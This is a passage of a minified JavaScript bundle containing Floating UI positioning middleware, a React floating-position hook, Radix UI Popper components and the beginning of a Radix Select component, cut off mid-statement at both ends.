W=a$(i,u,j);I.push(B[W[0]],B[W[1]])}if(z=[...z,{placement:i,overflows:I}],!I.every(W=>W<=0)){var U,$;const W=(((U=c.flip)==null?void 0:U.index)||0)+1,se=k[W];if(se&&(!(x==="alignment"?E!==Ps(se):!1)||z.every(V=>Ps(V.placement)===E?V.overflows[0]>0:!0)))return{data:{index:W,overflows:z},reset:{placement:se}};let M=($=z.filter(O=>O.overflows[0]<=0).sort((O,V)=>O.overflows[1]-V.overflows[1])[0])==null?void 0:$.placement;if(!M)switch(y){case"bestFit":{var H;const O=(H=z.filter(V=>{if(D){const Z=Ps(V.placement);return Z===E||Z==="y"}return!0}).map(V=>[V.placement,V.overflows.filter(Z=>Z>0).reduce((Z,ce)=>Z+ce,0)]).sort((V,Z)=>V[1]-Z[1])[0])==null?void 0:H[0];O&&(M=O);break}case"initialPlacement":M=d;break}if(i!==M)return{reset:{placement:M}}}return{}}}};function DN(e,t){return{top:e.top-t.height,right:e.right-t.width,bottom:e.bottom-t.height,left:e.left-t.width}}function RN(e){return Jq.some(t=>e[t]>=0)}const h$=function(e){return e===void 0&&(e={}),{name:"hide",options:e,async fn(t){const{rects:n}=t,{strategy:s="referenceHidden",...i}=Ar(e,t);switch(s){case"referenceHidden":{const c=await Su(t,{...i,elementContext:"reference"}),u=DN(c,n.reference);return{data:{referenceHiddenOffsets:u,referenceHidden:RN(u)}}}case"escaped":{const c=await Su(t,{...i,altBoundary:!0}),u=DN(c,n.floating);return{data:{escapedOffsets:u,escaped:RN(u)}}}default:return{}}}}},$5=new Set(["left","top"]);async function m$(e,t){const{placement:n,platform:s,elements:i}=e,c=await(s.isRTL==null?void 0:s.isRTL(i.floating)),u=Tr(n),d=$l(n),m=Ps(n)==="y",h=$5.has(u)?-1:1,p=c&&m?-1:1,x=Ar(t,e);let{mainAxis:g,crossAxis:y,alignmentAxis:w}=typeof x=="number"?{mainAxis:x,crossAxis:0,alignmentAxis:null}:{mainAxis:x.mainAxis||0,crossAxis:x.crossAxis||0,alignmentAxis:x.alignmentAxis};return d&&typeof w=="number"&&(y=d==="end"?w*-1:w),m?{x:y*p,y:g*h}:{x:g*h,y:y*p}}const p$=function(e){return e===void 0&&(e=0),{name:"offset",options:e,async fn(t){var n,s;const{x:i,y:c,placement:u,middlewareData:d}=t,m=await m$(t,e);return u===((n=d.offset)==null?void 0:n.placement)&&(s=d.arrow)!=null&&s.alignmentOffset?{}:{x:i+m.x,y:c+m.y,data:{...m,placement:u}}}}},x$=function(e){return e===void 0&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:s,placement:i}=t,{mainAxis:c=!0,crossAxis:u=!1,limiter:d={fn:N=>{let{x:T,y:E}=N;return{x:T,y:E}}},...m}=Ar(e,t),h={x:n,y:s},p=await Su(t,m),x=Ps(Tr(i)),g=Hy(x);let y=h[g],w=h[x];if(c){const N=g==="y"?"top":"left",T=g==="y"?"bottom":"right",E=y+p[N],A=y-p[T];y=av(E,y,A)}if(u){const N=x==="y"?"top":"left",T=x==="y"?"bottom":"right",E=w+p[N],A=w-p[T];w=av(E,w,A)}const S=d.fn({...t,[g]:y,[x]:w});return{...S,data:{x:S.x-n,y:S.y-s,enabled:{[g]:c,[x]:u}}}}}},g$=function(e){return e===void 0&&(e={}),{options:e,fn(t){const{x:n,y:s,placement:i,rects:c,middlewareData:u}=t,{offset:d=0,mainAxis:m=!0,crossAxis:h=!0}=Ar(e,t),p={x:n,y:s},x=Ps(i),g=Hy(x);let y=p[g],w=p[x];const S=Ar(d,t),N=typeof S=="number"?{mainAxis:S,crossAxis:0}:{mainAxis:0,crossAxis:0,...S};if(m){const A=g==="y"?"height":"width",j=c.reference[g]-c.floating[A]+N.mainAxis,R=c.reference[g]+c.reference[A]-N.mainAxis;y<j?y=j:y>R&&(y=R)}if(h){var T,E;const A=g==="y"?"width":"height",j=$5.has(Tr(i)),R=c.reference[x]-c.floating[A]+(j&&((T=u.offset)==null?void 0:T[x])||0)+(j?0:N.crossAxis),D=c.reference[x]+c.reference[A]+(j?0:((E=u.offset)==null?void 0:E[x])||0)-(j?N.crossAxis:0);w<R?w=R:w>D&&(w=D)}return{[g]:y,[x]:w}}}},v$=function(e){return e===void 0&&(e={}),{name:"size",options:e,async fn(t){var n,s;const{placement:i,rects:c,platform:u,elements:d}=t,{apply:m=()=>{},...h}=Ar(e,t),p=await Su(t,h),x=Tr(i),g=$l(i),y=Ps(i)==="y",{width:w,height:S}=c.floating;let N,T;x==="top"||x==="bottom"?(N=x,T=g===(await(u.isRTL==null?void 0:u.isRTL(d.floating))?"start":"end")?"left":"right"):(T=x,N=g==="end"?"top":"bottom");const E=S-p.top-p.bottom,A=w-p.left-p.right,j=pi(S-p[N],E),R=pi(w-p[T],A),D=!t.middlewareData.shift;let k=j,B=R;if((n=t.middlewareData.shift)!=null&&n.enabled.x&&(B=A),(s=t.middlewareData.shift)!=null&&s.enabled.y&&(k=E),D&&!g){const z=Oa(p.left,0),U=Oa(p.right,0),$=Oa(p.top,0),H=Oa(p.bottom,0);y?B=w-2*(z!==0||U!==0?z+U:Oa(p.left,p.right)):k=S-2*($!==0||H!==0?$+H:Oa(p.top,p.bottom))}await m({...t,availableWidth:B,availableHeight:k});const I=await u.getDimensions(d.floating);return w!==I.width||S!==I.height?{reset:{rects:!0}}:{}}}};function Ph(){return typeof window<"u"}function Gl(e){return G5(e)?(e.nodeName||"").toLowerCase():"#document"}function za(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function Ks(e){var t;return(t=(G5(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function G5(e){return Ph()?e instanceof Node||e instanceof za(e).Node:!1}function bs(e){return Ph()?e instanceof Element||e instanceof za(e).Element:!1}function Gs(e){return Ph()?e instanceof HTMLElement||e instanceof za(e).HTMLElement:!1}function _N(e){return!Ph()||typeof ShadowRoot>"u"?!1:e instanceof ShadowRoot||e instanceof za(e).ShadowRoot}const y$=new Set(["inline","contents"]);function Zu(e){const{overflow:t,overflowX:n,overflowY:s,display:i}=ws(e);return/auto|scroll|overlay|hidden|clip/.test(t+s+n)&&!y$.has(i)}const b$=new Set(["table","td","th"]);function w$(e){return b$.has(Gl(e))}const C$=[":popover-open",":modal"];function zh(e){return C$.some(t=>{try{return e.matches(t)}catch{return!1}})}const S$=["transform","translate","scale","rotate","perspective"],N$=["transform","translate","scale","rotate","perspective","filter"],E$=["paint","layout","strict","content"];function Gy(e){const t=Yy(),n=bs(e)?ws(e):e;return S$.some(s=>n[s]?n[s]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!t&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!t&&(n.filter?n.filter!=="none":!1)||N$.some(s=>(n.willChange||"").includes(s))||E$.some(s=>(n.contain||"").includes(s))}function j$(e){let t=xi(e);for(;Gs(t)&&!Ml(t);){if(Gy(t))return t;if(zh(t))return null;t=xi(t)}return null}function Yy(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const A$=new Set(["html","body","#document"]);function Ml(e){return A$.has(Gl(e))}function ws(e){return za(e).getComputedStyle(e)}function Vh(e){return bs(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function xi(e){if(Gl(e)==="html")return e;const t=e.assignedSlot||e.parentNode||_N(e)&&e.host||Ks(e);return _N(t)?t.host:t}function Y5(e){const t=xi(e);return Ml(t)?e.ownerDocument?e.ownerDocument.body:e.body:Gs(t)&&Zu(t)?t:Y5(t)}function Nu(e,t,n){var s;t===void 0&&(t=[]),n===void 0&&(n=!0);const i=Y5(e),c=i===((s=e.ownerDocument)==null?void 0:s.body),u=za(i);if(c){const d=rv(u);return t.concat(u,u.visualViewport||[],Zu(i)?i:[],d&&n?Nu(d):[])}return t.concat(i,Nu(i,[],n))}function rv(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}function K5(e){const t=ws(e);let n=parseFloat(t.width)||0,s=parseFloat(t.height)||0;const i=Gs(e),c=i?e.offsetWidth:n,u=i?e.offsetHeight:s,d=nh(n)!==c||nh(s)!==u;return d&&(n=c,s=u),{width:n,height:s,$:d}}function Ky(e){return bs(e)?e:e.contextElement}function Al(e){const t=Ky(e);if(!Gs(t))return qs(1);const n=t.getBoundingClientRect(),{width:s,height:i,$:c}=K5(t);let u=(c?nh(n.width):n.width)/s,d=(c?nh(n.height):n.height)/i;return(!u||!Number.isFinite(u))&&(u=1),(!d||!Number.isFinite(d))&&(d=1),{x:u,y:d}}const T$=qs(0);function X5(e){const t=za(e);return!Yy()||!t.visualViewport?T$:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function D$(e,t,n){return t===void 0&&(t=!1),!n||t&&n!==za(e)?!1:t}function fo(e,t,n,s){t===void 0&&(t=!1),n===void 0&&(n=!1);const i=e.getBoundingClientRect(),c=Ky(e);let u=qs(1);t&&(s?bs(s)&&(u=Al(s)):u=Al(e));const d=D$(c,n,s)?X5(c):qs(0);let m=(i.left+d.x)/u.x,h=(i.top+d.y)/u.y,p=i.width/u.x,x=i.height/u.y;if(c){const g=za(c),y=s&&bs(s)?za(s):s;let w=g,S=rv(w);for(;S&&s&&y!==w;){const N=Al(S),T=S.getBoundingClientRect(),E=ws(S),A=T.left+(S.clientLeft+parseFloat(E.paddingLeft))*N.x,j=T.top+(S.clientTop+parseFloat(E.paddingTop))*N.y;m*=N.x,h*=N.y,p*=N.x,x*=N.y,m+=A,h+=j,w=za(S),S=rv(w)}}return sh({width:p,height:x,x:m,y:h})}function Uh(e,t){const n=Vh(e).scrollLeft;return t?t.left+n:fo(Ks(e)).left+n}function W5(e,t){const n=e.getBoundingClientRect(),s=n.left+t.scrollLeft-Uh(e,n),i=n.top+t.scrollTop;return{x:s,y:i}}function R$(e){let{elements:t,rect:n,offsetParent:s,strategy:i}=e;const c=i==="fixed",u=Ks(s),d=t?zh(t.floating):!1;if(s===u||d&&c)return n;let m={scrollLeft:0,scrollTop:0},h=qs(1);const p=qs(0),x=Gs(s);if((x||!x&&!c)&&((Gl(s)!=="body"||Zu(u))&&(m=Vh(s)),Gs(s))){const y=fo(s);h=Al(s),p.x=y.x+s.clientLeft,p.y=y.y+s.clientTop}const g=u&&!x&&!c?W5(u,m):qs(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-m.scrollLeft*h.x+p.x+g.x,y:n.y*h.y-m.scrollTop*h.y+p.y+g.y}}function _$(e){return Array.from(e.getClientRects())}function k$(e){const t=Ks(e),n=Vh(e),s=e.ownerDocument.body,i=Oa(t.scrollWidth,t.clientWidth,s.scrollWidth,s.clientWidth),c=Oa(t.scrollHeight,t.clientHeight,s.scrollHeight,s.clientHeight);let u=-n.scrollLeft+Uh(e);const d=-n.scrollTop;return ws(s).direction==="rtl"&&(u+=Oa(t.clientWidth,s.clientWidth)-i),{width:i,height:c,x:u,y:d}}const kN=25;function B$(e,t){const n=za(e),s=Ks(e),i=n.visualViewport;let c=s.clientWidth,u=s.clientHeight,d=0,m=0;if(i){c=i.width,u=i.height;const p=Yy();(!p||p&&t==="fixed")&&(d=i.offsetLeft,m=i.offsetTop)}const h=Uh(s);if(h<=0){const p=s.ownerDocument,x=p.body,g=getComputedStyle(x),y=p.compatMode==="CSS1Compat"&&parseFloat(g.marginLeft)+parseFloat(g.marginRight)||0,w=Math.abs(s.clientWidth-x.clientWidth-y);w<=kN&&(c-=w)}else h<=kN&&(c+=h);return{width:c,height:u,x:d,y:m}}const M$=new Set(["absolute","fixed"]);function F$(e,t){const n=fo(e,!0,t==="fixed"),s=n.top+e.clientTop,i=n.left+e.clientLeft,c=Gs(e)?Al(e):qs(1),u=e.clientWidth*c.x,d=e.clientHeight*c.y,m=i*c.x,h=s*c.y;return{width:u,height:d,x:m,y:h}}function BN(e,t,n){let s;if(t==="viewport")s=B$(e,n);else if(t==="document")s=k$(Ks(e));else if(bs(t))s=F$(t,n);else{const i=X5(e);s={x:t.x-i.x,y:t.y-i.y,width:t.width,height:t.height}}return sh(s)}function Q5(e,t){const n=xi(e);return n===t||!bs(n)||Ml(n)?!1:ws(n).position==="fixed"||Q5(n,t)}function O$(e,t){const n=t.get(e);if(n)return n;let s=Nu(e,[],!1).filter(d=>bs(d)&&Gl(d)!=="body"),i=null;const c=ws(e).position==="fixed";let u=c?xi(e):e;for(;bs(u)&&!Ml(u);){const d=ws(u),m=Gy(u);!m&&d.position==="fixed"&&(i=null),(c?!m&&!i:!m&&d.position==="static"&&!!i&&M$.has(i.position)||Zu(u)&&!m&&Q5(e,u))?s=s.filter(p=>p!==u):i=d,u=xi(u)}return t.set(e,s),s}function L$(e){let{element:t,boundary:n,rootBoundary:s,strategy:i}=e;const u=[...n==="clippingAncestors"?zh(t)?[]:O$(t,this._c):[].concat(n),s],d=u[0],m=u.reduce((h,p)=>{const x=BN(t,p,i);return h.top=Oa(x.top,h.top),h.right=pi(x.right,h.right),h.bottom=pi(x.bottom,h.bottom),h.left=Oa(x.left,h.left),h},BN(t,d,i));return{width:m.right-m.left,height:m.bottom-m.top,x:m.left,y:m.top}}function P$(e){const{width:t,height:n}=K5(e);return{width:t,height:n}}function z$(e,t,n){const s=Gs(t),i=Ks(t),c=n==="fixed",u=fo(e,!0,c,t);let d={scrollLeft:0,scrollTop:0};const m=qs(0);function h(){m.x=Uh(i)}if(s||!s&&!c)if((Gl(t)!=="body"||Zu(i))&&(d=Vh(t)),s){const y=fo(t,!0,c,t);m.x=y.x+t.clientLeft,m.y=y.y+t.clientTop}else i&&h();c&&!s&&i&&h();const p=i&&!s&&!c?W5(i,d):qs(0),x=u.left+d.scrollLeft-m.x-p.x,g=u.top+d.scrollTop-m.y-p.y;return{x,y:g,width:u.width,height:u.height}}function rg(e){return ws(e).position==="static"}function MN(e,t){if(!Gs(e)||ws(e).position==="fixed")return null;if(t)return t(e);let n=e.offsetParent;return Ks(e)===n&&(n=n.ownerDocument.body),n}function Z5(e,t){const n=za(e);if(zh(e))return n;if(!Gs(e)){let i=xi(e);for(;i&&!Ml(i);){if(bs(i)&&!rg(i))return i;i=xi(i)}return n}let s=MN(e,t);for(;s&&w$(s)&&rg(s);)s=MN(s,t);return s&&Ml(s)&&rg(s)&&!Gy(s)?n:s||j$(e)||n}const V$=async function(e){const t=this.getOffsetParent||Z5,n=this.getDimensions,s=await n(e.floating);return{reference:z$(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:s.width,height:s.height}}};function U$(e){return ws(e).direction==="rtl"}const I$={convertOffsetParentRelativeRectToViewportRelativeRect:R$,getDocumentElement:Ks,getClippingRect:L$,getOffsetParent:Z5,getElementRects:V$,getClientRects:_$,getDimensions:P$,getScale:Al,isElement:bs,isRTL:U$};function J5(e,t){return e.x===t.x&&e.y===t.y&&e.width===t.width&&e.height===t.height}function H$(e,t){let n=null,s;const i=Ks(e);function c(){var d;clearTimeout(s),(d=n)==null||d.disconnect(),n=null}function u(d,m){d===void 0&&(d=!1),m===void 0&&(m=1),c();const h=e.getBoundingClientRect(),{left:p,top:x,width:g,height:y}=h;if(d||t(),!g||!y)return;const w=kf(x),S=kf(i.clientWidth-(p+g)),N=kf(i.clientHeight-(x+y)),T=kf(p),A={rootMargin:-w+"px "+-S+"px "+-N+"px "+-T+"px",threshold:Oa(0,pi(1,m))||1};let j=!0;function R(D){const k=D[0].intersectionRatio;if(k!==m){if(!j)return u();k?u(!1,k):s=setTimeout(()=>{u(!1,1e-7)},1e3)}k===1&&!J5(h,e.getBoundingClientRect())&&u(),j=!1}try{n=new IntersectionObserver(R,{...A,root:i.ownerDocument})}catch{n=new IntersectionObserver(R,A)}n.observe(e)}return u(!0),c}function q$(e,t,n,s){s===void 0&&(s={});const{ancestorScroll:i=!0,ancestorResize:c=!0,elementResize:u=typeof ResizeObserver=="function",layoutShift:d=typeof IntersectionObserver=="function",animationFrame:m=!1}=s,h=Ky(e),p=i||c?[...h?Nu(h):[],...Nu(t)]:[];p.forEach(T=>{i&&T.addEventListener("scroll",n,{passive:!0}),c&&T.addEventListener("resize",n)});const x=h&&d?H$(h,n):null;let g=-1,y=null;u&&(y=new ResizeObserver(T=>{let[E]=T;E&&E.target===h&&y&&(y.unobserve(t),cancelAnimationFrame(g),g=requestAnimationFrame(()=>{var A;(A=y)==null||A.observe(t)})),n()}),h&&!m&&y.observe(h),y.observe(t));let w,S=m?fo(e):null;m&&N();function N(){const T=fo(e);S&&!J5(S,T)&&n(),S=T,w=requestAnimationFrame(N)}return n(),()=>{var T;p.forEach(E=>{i&&E.removeEventListener("scroll",n),c&&E.removeEventListener("resize",n)}),x?.(),(T=y)==null||T.disconnect(),y=null,m&&cancelAnimationFrame(w)}}const $$=p$,G$=x$,Y$=f$,K$=v$,X$=h$,FN=d$,W$=g$,Q$=(e,t,n)=>{const s=new Map,i={platform:I$,...n},c={...i.platform,_c:s};return u$(e,t,{...i,platform:c})};var Z$=typeof document<"u",J$=function(){},O0=Z$?C.useLayoutEffect:J$;function rh(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e=="function"&&e.toString()===t.toString())return!0;let n,s,i;if(e&&t&&typeof e=="object"){if(Array.isArray(e)){if(n=e.length,n!==t.length)return!1;for(s=n;s--!==0;)if(!rh(e[s],t[s]))return!1;return!0}if(i=Object.keys(e),n=i.length,n!==Object.keys(t).length)return!1;for(s=n;s--!==0;)if(!{}.hasOwnProperty.call(t,i[s]))return!1;for(s=n;s--!==0;){const c=i[s];if(!(c==="_owner"&&e.$$typeof)&&!rh(e[c],t[c]))return!1}return!0}return e!==e&&t!==t}function e8(e){return typeof window>"u"?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function ON(e,t){const n=e8(e);return Math.round(t*n)/n}function ig(e){const t=C.useRef(e);return O0(()=>{t.current=e}),t}function eG(e){e===void 0&&(e={});const{placement:t="bottom",strategy:n="absolute",middleware:s=[],platform:i,elements:{reference:c,floating:u}={},transform:d=!0,whileElementsMounted:m,open:h}=e,[p,x]=C.useState({x:0,y:0,strategy:n,placement:t,middlewareData:{},isPositioned:!1}),[g,y]=C.useState(s);rh(g,s)||y(s);const[w,S]=C.useState(null),[N,T]=C.useState(null),E=C.useCallback(V=>{V!==D.current&&(D.current=V,S(V))},[]),A=C.useCallback(V=>{V!==k.current&&(k.current=V,T(V))},[]),j=c||w,R=u||N,D=C.useRef(null),k=C.useRef(null),B=C.useRef(p),I=m!=null,z=ig(m),U=ig(i),$=ig(h),H=C.useCallback(()=>{if(!D.current||!k.current)return;const V={placement:t,strategy:n,middleware:g};U.current&&(V.platform=U.current),Q$(D.current,k.current,V).then(Z=>{const ce={...Z,isPositioned:$.current!==!1};W.current&&!rh(B.current,ce)&&(B.current=ce,Ll.flushSync(()=>{x(ce)}))})},[g,t,n,U,$]);O0(()=>{h===!1&&B.current.isPositioned&&(B.current.isPositioned=!1,x(V=>({...V,isPositioned:!1})))},[h]);const W=C.useRef(!1);O0(()=>(W.current=!0,()=>{W.current=!1}),[]),O0(()=>{if(j&&(D.current=j),R&&(k.current=R),j&&R){if(z.current)return z.current(j,R,H);H()}},[j,R,H,z,I]);const se=C.useMemo(()=>({reference:D,floating:k,setReference:E,setFloating:A}),[E,A]),M=C.useMemo(()=>({reference:j,floating:R}),[j,R]),O=C.useMemo(()=>{const V={position:n,left:0,top:0};if(!M.floating)return V;const Z=ON(M.floating,p.x),ce=ON(M.floating,p.y);return d?{...V,transform:"translate("+Z+"px, "+ce+"px)",...e8(M.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:Z,top:ce}},[n,d,M.floating,p.x,p.y]);return C.useMemo(()=>({...p,update:H,refs:se,elements:M,floatingStyles:O}),[p,H,se,M,O])}const tG=e=>{function t(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:e,fn(n){const{element:s,padding:i}=typeof e=="function"?e(n):e;return s&&t(s)?s.current!=null?FN({element:s.current,padding:i}).fn(n):{}:s?FN({element:s,padding:i}).fn(n):{}}}},nG=(e,t)=>({...$$(e),options:[e,t]}),aG=(e,t)=>({...G$(e),options:[e,t]}),sG=(e,t)=>({...W$(e),options:[e,t]}),rG=(e,t)=>({...Y$(e),options:[e,t]}),iG=(e,t)=>({...K$(e),options:[e,t]}),oG=(e,t)=>({...X$(e),options:[e,t]}),lG=(e,t)=>({...tG(e),options:[e,t]});var cG="Arrow",t8=C.forwardRef((e,t)=>{const{children:n,width:s=10,height:i=5,...c}=e;return o.jsx(dt.svg,{...c,ref:t,width:s,height:i,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:e.asChild?n:o.jsx("polygon",{points:"0,0 30,0 15,10"})})});t8.displayName=cG;var uG=t8,Xy="Popper",[n8,Ih]=Dr(Xy),[dG,a8]=n8(Xy),s8=e=>{const{__scopePopper:t,children:n}=e,[s,i]=C.useState(null);return o.jsx(dG,{scope:t,anchor:s,onAnchorChange:i,children:n})};s8.displayName=Xy;var r8="PopperAnchor",i8=C.forwardRef((e,t)=>{const{__scopePopper:n,virtualRef:s,...i}=e,c=a8(r8,n),u=C.useRef(null),d=Mt(t,u),m=C.useRef(null);return C.useEffect(()=>{const h=m.current;m.current=s?.current||u.current,h!==m.current&&c.onAnchorChange(m.current)}),s?null:o.jsx(dt.div,{...i,ref:d})});i8.displayName=r8;var Wy="PopperContent",[fG,hG]=n8(Wy),o8=C.forwardRef((e,t)=>{const{__scopePopper:n,side:s="bottom",sideOffset:i=0,align:c="center",alignOffset:u=0,arrowPadding:d=0,avoidCollisions:m=!0,collisionBoundary:h=[],collisionPadding:p=0,sticky:x="partial",hideWhenDetached:g=!1,updatePositionStrategy:y="optimized",onPlaced:w,...S}=e,N=a8(Wy,n),[T,E]=C.useState(null),A=Mt(t,fe=>E(fe)),[j,R]=C.useState(null),D=Iy(j),k=D?.width??0,B=D?.height??0,I=s+(c!=="center"?"-"+c:""),z=typeof p=="number"?p:{top:0,right:0,bottom:0,left:0,...p},U=Array.isArray(h)?h:[h],$=U.length>0,H={padding:z,boundary:U.filter(pG),altBoundary:$},{refs:W,floatingStyles:se,placement:M,isPositioned:O,middlewareData:V}=eG({strategy:"fixed",placement:I,whileElementsMounted:(...fe)=>q$(...fe,{animationFrame:y==="always"}),elements:{reference:N.anchor},middleware:[nG({mainAxis:i+B,alignmentAxis:u}),m&&aG({mainAxis:!0,crossAxis:!1,limiter:x==="partial"?sG():void 0,...H}),m&&rG({...H}),iG({...H,apply:({elements:fe,rects:ye,availableWidth:Oe,availableHeight:ke})=>{const{width:$e,height:Xe}=ye.reference,pt=fe.floating.style;pt.setProperty("--radix-popper-available-width",`${Oe}px`),pt.setProperty("--radix-popper-available-height",`${ke}px`),pt.setProperty("--radix-popper-anchor-width",`${$e}px`),pt.setProperty("--radix-popper-anchor-height",`${Xe}px`)}}),j&&lG({element:j,padding:d}),xG({arrowWidth:k,arrowHeight:B}),g&&oG({strategy:"referenceHidden",...H})]}),[Z,ce]=u8(M),F=fi(w);ea(()=>{O&&F?.()},[O,F]);const P=V.arrow?.x,q=V.arrow?.y,Y=V.arrow?.centerOffset!==0,[me,we]=C.useState();return ea(()=>{T&&we(window.getComputedStyle(T).zIndex)},[T]),o.jsx("div",{ref:W.setFloating,"data-radix-popper-content-wrapper":"",style:{...se,transform:O?se.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:me,"--radix-popper-transform-origin":[V.transformOrigin?.x,V.transformOrigin?.y].join(" "),...V.hide?.referenceHidden&&{visibility:"hidden",pointerEvents:"none"}},dir:e.dir,children:o.jsx(fG,{scope:n,placedSide:Z,onArrowChange:R,arrowX:P,arrowY:q,shouldHideArrow:Y,children:o.jsx(dt.div,{"data-side":Z,"data-align":ce,...S,ref:A,style:{...S.style,animation:O?void 0:"none"}})})})});o8.displayName=Wy;var l8="PopperArrow",mG={top:"bottom",right:"left",bottom:"top",left:"right"},c8=C.forwardRef(function(t,n){const{__scopePopper:s,...i}=t,c=hG(l8,s),u=mG[c.placedSide];return o.jsx("span",{ref:c.onArrowChange,style:{position:"absolute",left:c.arrowX,top:c.arrowY,[u]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[c.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[c.placedSide],visibility:c.shouldHideArrow?"hidden":void 0},children:o.jsx(uG,{...i,ref:n,style:{...i.style,display:"block"}})})});c8.displayName=l8;function pG(e){return e!==null}var xG=e=>({name:"transformOrigin",options:e,fn(t){const{placement:n,rects:s,middlewareData:i}=t,u=i.arrow?.centerOffset!==0,d=u?0:e.arrowWidth,m=u?0:e.arrowHeight,[h,p]=u8(n),x={start:"0%",center:"50%",end:"100%"}[p],g=(i.arrow?.x??0)+d/2,y=(i.arrow?.y??0)+m/2;let w="",S="";return h==="bottom"?(w=u?x:`${g}px`,S=`${-m}px`):h==="top"?(w=u?x:`${g}px`,S=`${s.floating.height+m}px`):h==="right"?(w=`${-m}px`,S=u?x:`${y}px`):h==="left"&&(w=`${s.floating.width+m}px`,S=u?x:`${y}px`),{data:{x:w,y:S}}}});function u8(e){const[t,n="center"]=e.split("-");return[t,n]}var d8=s8,f8=i8,h8=o8,m8=c8,gG=[" ","Enter","ArrowUp","ArrowDown"],vG=[" ","Enter"],ho="Select",[Hh,qh,yG]=v5(ho),[Yl]=Dr(ho,[yG,Ih]),$h=Ih(),[bG,Ci]=Yl(ho),[wG,CG]=Yl(ho),p8=e=>{const{__scopeSelect:t,children:n,open:s,defaultOpen:i,onOpenChange:c,value:u,defaultValue:d,onValueChange:m,dir:h,name:p,autoComplete:x,disabled:g,required:y,form:w}=e,S=$h(t),[N,T]=C.useState(null),[E,A]=C.useState(null),[j,R]=C.useState(!1),D=zy(h),[k,B]=di({prop:s,defaultProp:i??!1,onChange:c,caller:ho}),[I,z]=di({prop:u,defaultProp:d,onChange:m,caller:ho}),U=C.useRef(null),$=N?w||!!N.closest("form"):!0,[H,W]=C.useState(new Set),se=Array.from(H).map(M=>M.props.value).join(";");return o.jsx(d8,{...S,children:o.jsxs(bG,{required:y,scope:t,trigger:N,onTriggerChange:T,valueNode:E,onValueNodeChange:A,valueNodeHasChildren:j,onValueNodeHasChildrenChange:R,contentId:Nr(),value:I,onValueChange:z,open:k,onOpenChange:B,dir:D,triggerPointerDownPosRef:U,disabled:g,children:[o.jsx(Hh.Provider,{scope:t,children:o.jsx(wG,{scope:e.__scopeSelect,onNativeOptionAdd:C.useCallback(M=>{W(O=>new Set(O).add(M))},[]),onNativeOptionRemove:C.useCallback(M=>{W(O=>{const V=new Set(O);return V.delete(M),V})},[]),children:n})}),$?o.jsxs(z8,{"aria-hidden":!0,required:y,tabIndex:-1,name:p,autoComplete:x,value:I,onChange:M=>z(M.target.value),disabled:g,form:w,children:[I===void 0?o.jsx("option",{value:""}):null,Array.from(H)]},se):null]})})};p8.displayName=ho;var x8="SelectTrigger",g8=C.forwardRef((e,t)=>{const{__scopeSelect:n,disabled:s=!1,...i}=e,c=$h(n),u=Ci(x8,n),d=u.disabled||s,m=Mt(t,u.onTriggerChange),h=qh(n),p=C.useRef("touch"),[x,g,y]=U8(S=>{const N=h().filter(A=>!A.disabled),T=N.find(A=>A.value===u.value),E=I8(N,S,T);E!==void 0&&u.onValueChange(E.value)}),w=S=>{d||(u.onOpenChange(!0),y()),S&&(u.triggerPointerDownPosRef.current={x:Math.round(S.pageX),y:Math.round(S.pageY)})};return o.jsx(f8,{asChild:!0,...c,children:o.jsx(dt.button,{type:"button",role:"combobox","aria-controls":u.contentId,"aria-expanded":u.open,"aria-required":u.required,"aria-autocomplete":"none",dir:u.dir,"data-state":u.open?"open":"closed",disabled:d,"data-disabled":d?"":void 0,"data-placeholder":V8(u.value)?"":void 0,...i,ref:m,onClick:at(i.onClick,S=>{S.currentTarget.focus(),p.current!=="mouse"&&w(S)}),onPointerDown:at(i.onPointerDown,S=>{p.current=S.pointerType;const N=S.target;N.hasPointerCapture(S.pointerId)&&N.releasePointerCapture(S.pointerId),S.button===0&&S.ctrlKey===!1&&S.pointerType==="mouse"&&(w(S),S.preventDefault())}),onKeyDown:at(i.onKeyDown,S=>{const N=x.current!=="";!(S.ctrlKey||S.altKey||S.metaKey)&&S.key.length===1&&g(S.key),!(N&&S.key===" ")&&gG.includes(S.key)&&(w(),S.preventDefault())})})})});g8.displayName=x8;var v8="SelectValue",y8=C.forwardRef((e,t)=>{const{__scopeSelect:n,className:s,style:i,children:c,placeholder:u="",...d}=e,m=Ci(v8,n),{onValueNodeHasChildrenChange:h}=m,p=c!==void 0,x=Mt(t,m.onValueNodeChange);return ea(()=>{h(p)},[h,p]),o.jsx(dt.span,{...d,ref:x,style:{pointerEvents:"none"},children:V8(m.value)?o.jsx(o.Fragment,{children:u}):c})});y8.displayName=v8;var SG="SelectIcon",b8=C.forwardRef((e,t)=>{const{__scopeSelect:n,children:s,...i}=e;return o.jsx(dt.span,{"aria-hidden":!0,...i,ref:t,children:s||"▼"})});b8.displayName=SG;var NG="SelectPortal",w8=e=>o.jsx($v,{asChild:!0,...e});w8.displayName=NG;var mo="SelectContent",C8=C.forwardRef((e,t)=>{const n=Ci(mo,e.__scopeSelect),[s,i]=C.useState();if(ea(()=>{i(new DocumentFragment)},[]),!n.open){const c=s;return c?Ll.createPortal(o.jsx(S8,{scope:e.__scopeSelect,children:o.jsx(Hh.Slot,{scope:e.__scopeSelect,children:o.jsx("div",{children:e.children})})}),c):null}return o.jsx(N8,{...e,ref:t})});C8.displayName=mo;var 